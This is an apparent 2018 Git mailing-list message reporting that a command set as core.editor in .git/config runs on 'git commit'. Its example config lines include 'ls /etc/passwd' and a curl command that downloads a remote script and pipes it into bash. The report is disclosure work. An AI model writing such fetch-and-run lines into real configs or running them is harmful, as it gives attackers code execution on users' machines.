From: "Leo Silva (a.k.a kirotawa)" <kirotawa@gmail.com>
To: git@vger.kernel.org
Subject: Git vulnerability - execution of arbitrary code through .git/conf
Date: Sat, 25 Aug 2018 23:13:30 -0300 [thread overview]
Message-ID: <CA+KS1kb7yVoG-j7p83--2+0Ry+iFg1YbEa9KzxqPTvNZTF5RHQ@mail.gmail.com> (raw)
Hi git community!
I found what seems to be a vulnerability/bug on git. I'm running
version 2.7.4 on Ubuntu xenial, but also tested with last version
2.19.0.rc0.2.g29d9e3e.
The steps to reproduce are:
1. open your .git/conf
2. add something like:
[core]
editor = ls /etc/passwd
or even
editor = curl -s http://server/path/malicious-script.sh | bash -s
3. run: git commit
A malicious user/repo can set some code through URL or even as command
in .git/conf and take control of your machine or silently run
malicious code.
[]'s
--
----------------------------------------------
Leônidas S. Barbosa (Kirotawa)
blog: corecode.wordpress.com
---------------------------------------------
"O que importa são os incontáveis pequenos atos de pessoas
desconhecidas, que fundam as bases para os eventos significativos que
se tornam história" - Howard Zinn
next reply other threads:[~2018-08-26 2:13 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2018-08-26 2:13 Leo Silva (a.k.a kirotawa) [this message]
2018-08-26 3:19 ` Git vulnerability - execution of arbitrary code through .git/conf Jeff King
2018-08-26 3:25 ` Leo Silva (a.k.a kirotawa)
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